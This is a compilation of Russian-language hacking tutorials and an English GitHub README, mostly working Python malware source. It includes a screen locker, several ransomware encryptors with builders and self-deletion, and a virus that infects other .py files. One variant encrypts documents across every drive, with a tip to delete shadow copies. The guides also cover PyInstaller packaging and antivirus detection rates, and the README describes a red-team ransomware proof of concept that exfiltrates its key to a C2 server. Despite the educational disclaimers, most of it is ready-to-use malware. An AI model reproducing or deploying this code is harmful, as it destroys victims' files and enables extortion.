Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Дополнительно установим несколько модулей, которые будем использовать:
pip install pyAesCrypt pip install pyautogui pip install tkinter
На этом с подготовительным этапом покончено, можно приступать к написанию кода.
Создание локера
Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Теперь возьмемся за основную часть программы.
# Создаем окно root = Tk() # Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False # Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight() # Задаем заголовок окна root.title('From "hacker" with love') # Открываем окно на весь экран root.attributes("-fullscreen", True) # Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Создаем текстовые подписи и задаем их расположение label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100) # Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2) # Кликаем в центр окна click(width/2, height/2) # обнуляем ключ k = False # Теперь непрерывно проверяем, не введен ли верный ключ # Если введен, вызываем функцию хулиганства while not k: on_closing()
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()
Создадим функцию для ввода ключа:
def callback(event): global k, entry if entry.get() == "hacker": k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
def on_closing(): # Кликаем в центр экрана click(width/2, height/2) # Перемещаем курсор мыши в центр экрана moveTo(width/2, height/2) # Включаем полноэкранный режим root.attributes("-fullscreen", True) # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing root.protocol("WM_DELETE_WINDOW", on_closing) # Включаем постоянное обновление окна root.update() # Добавляем сочетание клавиш, которые будут закрывать программу root.bind('<Control-KeyPress-c>', callback)
На этом наш импровизированный локер готов.
Создание шифровальщика
Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
direct = input("Напиши атакуемую директорию: ") password = input("Введи пароль: ")
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
with open("Crypt.py", "w") as crypt: crypt.write(''' текст программы ''')
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
import os import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):
def crypt(file): import pyAesCrypt print('-' * 80) # Задаем пароль и размер буфера password = "'''+str(password)+'''" buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Удаляем исходный файл os.remove(file)
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
walk("'''+str(direct)+'''") os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print('-' * 80) password = "'''+str(password)+'''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'") os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Создание вируса
Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
import sys import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
def code(void): print("Infected")
Сразу вызовем ее, чтобы понять, что программа отработала:
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # Если нашли файл, проверяем его расширение if os.path.isfile(path): # Если расширение — py, вызываем virus if (os.path.splitext(path)[1] == ".py"): virus(path) else: pass else: # Если это каталог, заходим в него walk(path)
В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
В начале и в конце файла пишем вот такие комментарии:
# START # # STOP #
Чуть позже объясню зачем.
Дальше функция, которая отвечает за саморепликацию.
def virus(python): begin = "# START #n" end = "# STOP #n" # Читаем атакуемый файл, назовем его copy with open(sys.argv[0], "r") as copy: # Создаем флаг k = 0 # Создаем переменную для кода вируса и добавляем пустую строку virus_code = "n" # Построчно проходим заражаемый файл for line in copy: # Если находим маркер начала, поднимаем флаг if line == begin: k = 1 # Добавляем маркер в зараженный код virus_code += begin # Если мы прошли начало, но не дошли до конца, копируем строку elif k == 1 and line != end: virus_code += line # Если дошли до конца, добавляем финальный маркер и выходим из цикла elif line == end: virus_code += end break else: pass # Снова читаем заражаемый файл with open(python, "r") as file: # Создаем переменную для исходного кода original_code = "" # Построчно копируем заражаемый код for line in file: original_code += line # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir if line == begin: vir = True break # Если маркера нет, опускаем флаг vir else: vir = False # Если флаг vir опущен, пишем в файл вирус и исходный код if not vir: with open(python, "w") as paste: paste.write(virus_code + "nn" + original_code) else: pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
Создание исполняемого файла
Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.
Устанавливаем
pip install PyInstaller
И вводим команду
PyInstaller "имя_файла.py" --onefile --noconsole
Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.
Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.
Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:
- файл Crypt.exe не понравился 12 антивирусам из 72;
- файл Locker.exe — 10 антивирусам из 72;
- файл Virus.exe — 23 антивирусам из 72.
Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.
Итого
Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.
Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.
Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.
Источник
Приветствую всех! Прежде чем читать статью предупреждаю, что показываю это все в ознакомительных целя. Приступим к кодингу.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал
Ссылка скрыта от гостей
. Я начал с генерации ключей, но у меня появилась ошибка, хотя я скопировал код сайта.
Я разобрался надо просто установить pycryptodome
Окей, ошибки я миновал, все работает.
Код:
from Crypto.PublicKey import RSA
code = 'nooneknows'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open('my_private_rsa_key.bin', 'wb') as f:
f.write(encrypted_key)
with open('my_rsa_public.pem', 'wb') as f:
f.write(key.publickey().exportKey())
Этот кусок кода сгенерирует нам ключи.
Так теперь мы через os.walk()
сделаем так, чтобы все файлы с нужным нам форматов добавлялись в список.
Код:
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
Обратите внимание там где ['doc','mov']
вы можете продолжать список, например: ['doc','mov','png','mp3']
Теперь напишем функцию получения дисков в системе.
Код:
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
Определим переменные:
Код:
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'
Напишем функцию гена ключей:
Код:
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
И теперь самое интересное, функция шифровки:
Код:
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
Таким образом мы будем передавать полученные диски в os.walk()
Код:
for d in disks:
GetDirectory(d)
Когда os.walk()
соберет файлы с нужным нам форматом мы их прогоним через функцию crypt которая зашифрует их.
Код:
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.
Код:
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('n')
handle.close()
print 'done'
Вот что у нас получилось:
Код:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
GenRSA()
GetDisk()
for d in disks:
GetDirectory(d)
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('n')
handle.close()
print 'done'
Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:
Код:
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os #Импортим либы
code = 'loli'
appdata = os.environ['appdata']
appdata += r'\' #Вводим переменные
with open('lx.txt', 'rb') as fobj:
private_key = RSA.import_key(
open(appdata + 'prk.bin').read(), #prk.bin это приватный ключ
passphrase=code
) # Открываем зашифрованный файл
enc_session_key, nonce, tag, ciphertext = [
fobj.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)
]
cipher_rsa = PKCS1_OAEP.new(private_key)
session_key = cipher_rsa.decrypt(enc_session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
data = cipher_aes.decrypt_and_verify(ciphertext, tag) #Расшифровываем
print(data)# Показываем дату расшифрованную
То есть что вам надо доделать в расшифровке, считать с файла cripted.lock
пути к файлам, которые он зашифровал, и в цикл все это дело запихать и все файлы расшифровываем не выводим их содержимое а перезаписуем. Также можете по вкусу добавить автозагрузку, смена обоев и прочее. Еще один важный момент, у нас два ключа: публичный и приватный, приватный нужен для расшифровки поэтому его желательно хранить на сервере.
Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)
PS При считывание с файла в списке будет n, с ним файлы расшифровываться не будут, чтобы убрать его(n) используйте tmp = map(lambda s: s.strip(),tmp)
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.
Ransomware-PoC
A simple python ransomware PoC that can be used for Atomic Red Team: ATT&CK Technique: Data Encrypted for Impact (T1486). The project is built off CryptSky and full credits goes to deadPix3l for his code. The updated code demonstrates a typical ransomware flow and it is just one of many ways to perform ransomware encryption.
TLDR:
- Generates AES key to encrypt local file (hardcoded in PoC).
- The attacker’s embedded RSA public key (intentionally hardcoded in PoC) is used to encrypt the AES key. The private key is already stored in the attacker’s C2 server. The encrypted text is sent to the C2 server and displayed for the victim.
- Ransom note is shown. When the ransom is paid, a decryptor is provided.
Warning: Be extra careful of running the program as it will modify files. Ensure the path is correct and be wary in running with administrative privileges.
Supported
- python3 (python2 for Linux/macOS should work)
- Windows, Linux and macOS
Versions
There are two versions:
Version 1: main.py
- Basic version — Terminal Only
Version 2: main_v2.py
- Advanced version
- Ransom note pop up
- Exfiltrate key back to C2 given domain and port
How to run
Install dependencies:
pip3 install pycryptodome
Default:
Encrypt: python3 main.py -e or python3 main_v2.py -e
Decrypt: python3 main.py -d or python3 main_v2.py -e
Windows with specific path:
Encrypt: python3 main_v2.py -p "C:usersjimmydesktoptest_ransomware" -e
Decrypt: python3 main_v2.py -p "C:usersjimmydesktoptest_ransomware" -d
Linux/macOS with specific path:
Encrypt: python3 main_v2.py -p "/home/jimmy/test_ransomware" -e
Decrypt: python3 main_v2.py -p "/home/jimmy/test_ransomware" -d
Variables to change:
- Ransomware Extension [default: .wasted for WastedLocker]
- AES Key
- RSA Public key
- RSA Private key (to be removed). Only used for decryptor.
- Domain and port for exfiltration (main_v2)
NB: As this is simply a PoC for Atomic Red Team, there is no real need to change the keys or other variables.
Standalone Executable
Tested with python 2.7 with pyinstaller 3.6 and python 3.7 with pyinstaller 4.0. Please note that python 3.8 with pyinstaller 4.0 have known issues as this was incompatible with macOS.
Windows and Linux:
pip3 install pyinstaller pyinstaller --onefile main_v2.py or py -m PyInstaller --onefile main_v2.py
macOS:
(python 3.7)
python3 -m pip install pyinstaller
pyinstaller --onefile main_v2.py
(python 2.7)
pip install -I pyinstaller==3.6
python -m PyInstaller --onefile main_v2.py
See /bin
folder for binaries.
Windows with specific path:
Encrypt: main_v2.exe -p "C:usersjimmydesktoptest_ransomware" -e
Decrypt: main_v2.exe -p "C:usersjimmydesktoptest_ransomware" -d
Linux with specific path:
Encrypt: ./main_v2 -p "/home/jimmy/test_ransomware" -e
Decrypt: ./main_v2 -p "/home/jimmy/test_ransomware" -d
macOS with specific path:
Encrypt: ./main_v2_macos_py2 -p "/Users/jimmy/test_ransomware" -e
Decrypt: ./main_v2_macos_py2 -p "/Users/jimmy/test_ransomware" -d
Miscellaneous
One-click execution
I originally added arguments to prevent accidental clicks and mess up. To simulate a one-click malware, comment and uncomment the following:
Comment
if len(sys.argv) <= 1: print('[*] Ransomware - PoCn') # banner() print('Usage: python3 main.py -h') print('{} -h for help.'.format(sys.argv[0])) exit(0) # Parse arguments args = parse_args() encrypt = args.encrypt decrypt = args.decrypt absolute_path = str(args.path)
Uncomment
absolute_path = "None" encrypt = True decrypt = False
Multiple folders
There is support for multiple paths, add them as such:
startdirs = [os.environ['USERPROFILE'] + '\Desktop', os.environ['USERPROFILE'] + '\Documents', os.environ['USERPROFILE'] + '\Music', os.environ['USERPROFILE'] + '\Desktop', os.environ['USERPROFILE'] + '\Onedrive']
Demo
Version 1
Version 2
Additional Features
- Added RSA asymmetric encryption of the AES key.
- Added autodetection on Windows, Linux or macOS.
- Added path argument to specify a directory.
- Fixed handling of renaming files with adding/removing of the ransomware extension.
- Added ransomware note pop up.
- Added exfiltration of key back to C2.
Credit
- CryptSky (deadPix3l and contributors) for base project
- Demonware (Cerberus) (StrangerealIntel) for ransom image and exfiltration
Размышляя о шифровании после статьи о чате, я наткнулся на очень простую и удобную библиотеку pyAesCrypt . Она использует симметричный алгоритм шифрования AES256 -CBC и очень проста в использовании для шифрования файлов. Вы также можете выполнить шифрование/расшифровку в памяти (используя BytesIO) что может пригодиться. Правда я еще не разобрался с этим.
Давайте теперь просто опробуем ее и зашифруем все нафиг ). Вот простой пример зашифровки файла:
import os
def crypt(dir):
import pyAesCrypt
print('-----------------------------------')
password = input('Enter key: ') # Вводим ключ шифрования
bufferSize = 512*1024 #Размер буфера 512 килобайт, не нужно его делать очень большим
pyAesCrypt.encryptFile(str(dir),str(dir)+'.aes',password, bufferSize) # Собственно сама функция шифрования, создаст зашифрованный файл с расширение .aes
print('[Crypted] '+str(dir)+'.aes')
dir = input('Enter file name: ') # Вводим имя файла
crypt(dir)
Вот такой в итоге получился зашифрованный файл
Скучно ? Давайте добавим в наш код парсера директорий и файлов. Зашифруем все в указанной директории.
def parsdir(dir):
import os
for name in os.listdir(dir):
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
else :
if os.path.isdir(os.path.join(dir,name)) :
parsdir(os.path.join(dir,name))
- os.path.isfile(path) — является ли путь файлом.
- os.path.isdir(path) — является ли путь директорией.
- os.path.join(path1[, path2[, …]]) — соединяет пути с учётом особенностей операционной системы.
- os.listdir(path=».») — список файлов и директорий в папке.
Расшифровка.
Конечно любое шифрование имеет смысл если можно расшифровать. Сделать это в этой библиотеке также просто как и зашифровать:
pyAesCrypt.decryptFile("data.txt.aes","data.txt",password,bufferSize)
Вообще мы сделаем все интересней. При шифрование файлов в каталоге будет создаваться автоматически файл Питона для расшифровки всех файлов. Нам останется его только запустить.
with open((dir+'/decrypt.py'),'w') as crypt: #Создаем файл
crypt.write(''' # Записываем в него текст
import os
def decrypt (file):
import pyAesCrypt
print ('--------------------------')
password = "'''+str(password)+'''" #Вставка значения переменной
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file),str(os.path.splitext(file)[0]),password,bufferSize)
print('[decryptFile]'+str(os.path.splitext(file)[0]))
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
#print (name)
if os.path.isfile(os.path.join(dir,name)):
print ('file: '+os.path.join(dir,name))
# crypt (os.path.join(dir,name))
try:decrypt(os.path.join(dir,name))
except: pass
else :
if os.path.isdir(os.path.join(dir,name)) :
walk(os.path.join(dir,name))
walk("'''+str(dir)+'''")
''')
Ну вот собственно и все. Дальше я думаю вы лучше меня справитесь.
Ошибка в тексте? Выделите её и нажмите «Ctrl + Enter»
Статья написана стпешиал фор влми конкурс
Алоха, вообщем сегодня я расскажу и покажу как написать небольшого шифровальщика-локера на языке программирования Python. Так же напишем билдер под него.
По традиции скачиваем питон с официального сайта ТЫК
Дальше, чтобы пользоваться функцией pip, нужно добавить ее в path. Для этого переходим в дополнительные параметры системы, параметры среды, ищем строчку path, клацаем изменить и в конце через точку с запятой добавляем путь к папке с питоном и папке skripts которая лежит в папке питона
C:UsersИмя пользователяAppDataLocalProgramsPythonPython36-32;C:UsersИмя пользователяAppDataLocalProgramsPythonPython36-32Scripts
Наш шифровальщик будет шифровать по стандартному алгоритму AES (с отдельным ключом естесна)
Вообще можно наляпать туда множество плюшек типа, обфускации, шифрования данных по трем алгоритмам, запуск онли на юса машинах и так далее ( да перечитал описание к Tron’у), но я покажу лишь принцип работы и его чистый код.
Поехали
ПИШЕМ ШИФРОВАЛЬЩИК
Начнем с того что у любого шифровальщика должно быть два файла это файл который шифрует данные и файл который их дешифрует.
Начнем с файла шифровальщика
Сначала импортим модули отвечающие за шифрование и действия в системе
import pyAesCrypt
import os, sys
Далее создаем функцию которая шифрует данные
def crypt(file):
print("---------------------------------------------------------------" )
password="hello"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
Не обращайте внимания на функции print они сделаны для украшения окна билдера.
Функция password это и есть наш ключь шифрования (сюда можно вставит любой пасс он и будет являться ключом).
Далее создаем функцию которая лазит по директориям
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir,name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("C:UsersUserDesktopпапка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
Эта функция лазит по директориям и чекает файлы, если это отдельный файл то она его шифрует если это папка то переходит в нее и шифрует все там.
Здесь важно указывать именно директорию которую нужно зашифровать а не отдельный файл иначе программа крашнется
В конце удаение файла чтобы из него нельзя было достать ключ.
Все наш шифровальщик готов, теперь нужно сделать дешифратор.
import os, sys
def decrypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="hello"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("C:UsersUserDesktopпапка")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))
Так же создается две функции которая дешифрует и чекает директории
ПИШЕМ БИЛДЕР ДЛЯ ШИФРОВАЛЬЩИКА
direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
crypt.write('''
import os, sys
def crypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
key.write('''
import os, sys
def decrypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------" )
При запуске билдер запускается командная строка и вы вводите параметры которые учитываются при билде файлов( генерируется 2 файла, шифровальщик и ключ)
Оба файла сохраняются в директорию с билдером.
ПИШЕМ ЛОКЕР
Я уже видел локер на влми от @danaforevr, мой локер будет чутка по проще)
from tkinter import Tk,Entry,label
from pyautogui import click, moveTo
from time import sleep
Импортим модули из библиотек, первый модуль нужен для создания экрана, второй для затруднения доступа к другим файлам типа cmd, диспетчер задач и т.п и так же он будет все время кликать в центр, последняя нужна для того чтобы pyautogui начал свои действия не сразу.
Далее создаем функции
def callback(event):
global k,entry
if entry.get()=="Lockerrr": k=True #пароль который человек должен ввести чтобы разблокировать систему
def on_closing():
click(675, 420) #координаты кликанья мышки
moveTo(675, 420) #координаты сдвига мышки
root.attributes("-fullscreen",True) #создаем экран во весь монитор т.е без полей
root.protocol("WM_DELETE_WINDOW", on_closing) #закрытие посторонних окон
root.update()
root.bind('<Control-KeyPress-c>', callback) #какие клавиши нужно нажать когда введешь пароль
root=Tk() # Создание окна
root.title("Locker") # Заголовочное название
root.attributes("-fullscreen",True) # Расширение под экран
entry=Entry(root,font=1) # Поле ввода
entry.place(width=150,height=50,x=600,y=400) # Координаты и размеры
label0=Label(root,text="Locker_by_CypherZ",font=1) # Надпись 1
label0.grid(row=0,column=0) # Координаты надписи 1(по колонкам как в exel)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20') # Надпись 2
label1.place(x=470,y=300) # Координаты надписи 2
